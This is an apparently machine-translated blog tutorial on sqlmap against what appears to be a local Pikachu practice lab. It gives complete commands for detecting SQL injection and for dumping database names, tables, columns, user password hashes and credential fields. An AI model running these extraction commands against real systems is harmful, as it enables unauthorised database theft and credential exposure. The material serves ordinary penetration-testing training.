当前位置:网站首页>Sqlmap tutorial (II) practical skills I
Sqlmap tutorial (II) practical skills I
2022-07-05 06:06:00 【A τθ】
One 、 Detection Injection
testing URL GET Whether there is injection of parameters :
-u Tested url
"" Double quotes , Indicates that this is a string .
--dbms Specify the data engine of the attack
-v Output information is registered as 1
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1
After typing sqlmap Will automatically inject , But there will be some prompts , You need to confirm at the terminal , If you use --batch The default operation will be performed automatically , There is no need to determine the interactive information .
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 --batch

Two 、 Get sensitive information
After confirming the existence of Injection , Then, get the information through the command of getting sensitive information
--current-user Users connected by users ;
--currnet-db Current library ;
--dbs Get all libraries ;
--is-dba whether root jurisdiction ;
--passwords Get the password of the database .
Use this command sqlmap When you find the ciphertext , Will prompt you whether to hash Crack , If you need to choose the right dictionary .
eg:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql --current-user --current-db --is-dba --passwords -v 1 --batch


3、 ... and 、 Get the table
Get the current library , You can list tables according to the Library .
-D Specify the library ;
--tables List all the tables .
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu --tables


Four 、 Get the fields of the table
Get all the fields of a table .
-T Specify a table ;
--columns Get field .
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --columns


5、 ... and 、 get data
--dump Export all contents of data ;
--dump -C "username,password" Get the contents of the field ;
Get all field contents of the specified table :
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --columns --dump


Get the specified table 、 Specify field content .
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users -C "id,username,password" --dump


6、 ... and 、 Get the specified number
Get the total number :
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --count


Get specified id Number of pieces :
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --dump --start 2 --stop 3


7、 ... and 、 Delete cache file
Parameters :--flush-session
If you don't want to use the previous cache of this target session file , You can use this parameter . Will empty the previous session, Retest the goal .
边栏推荐
- Sword finger offer 58 - ii Rotate string left
- Introduction and experience of wazuh open source host security solution
- 7. Processing the input of multidimensional features
- liunx启动redis
- Data visualization chart summary (II)
- [jailhouse article] look mum, no VM exits
- Règlement sur la sécurité des réseaux dans les écoles professionnelles secondaires du concours de compétences des écoles professionnelles de la province de Guizhou en 2022
- Wazuh開源主機安全解决方案的簡介與使用體驗
- 2022 pole technology communication arm virtual hardware accelerates the development of Internet of things software
- 从Dijkstra的图灵奖演讲论科技创业者特点
猜你喜欢

个人开发的渗透测试工具Satania v1.2更新

【实战技能】非技术背景经理的技术管理

Groupbykey() and reducebykey() and combinebykey() in spark
![[practical skills] how to do a good job in technical training?](/img/a3/7a1564cd9eb564abfd716fef08a9e7.jpg)
[practical skills] how to do a good job in technical training?

7. Processing the input of multidimensional features

Arduino 控制的 RGB LED 无限镜

MIT-6874-Deep Learning in the Life Sciences Week 7

On the characteristics of technology entrepreneurs from Dijkstra's Turing Award speech

Sword finger offer 05 Replace spaces

数据可视化图表总结(二)
随机推荐
Analysis of backdoor vulnerability in remote code execution penetration test / / phpstudy of national game title of national secondary vocational network security B module
1041 Be Unique
Annotation and reflection
Sword finger offer 09 Implementing queues with two stacks
个人开发的渗透测试工具Satania v1.2更新
MatrixDB v4.5.0 重磅发布,全新推出 MARS2 存储引擎!
The sum of the unique elements of the daily question
1039 Course List for Student
2020ccpc Qinhuangdao J - Kingdom's power
【Rust 笔记】17-并发(下)
2022 pole technology communication arm virtual hardware accelerates the development of Internet of things software
【Rust 笔记】16-输入与输出(上)
F - Two Exam(AtCoder Beginner Contest 238)
可变电阻器概述——结构、工作和不同应用
Implement a fixed capacity stack
Sword finger offer 53 - ii Missing numbers from 0 to n-1
2022 极术通讯-Arm 虚拟硬件加速物联网软件开发
884. Uncommon words in two sentences
leetcode-31:下一个排列
Individual game 12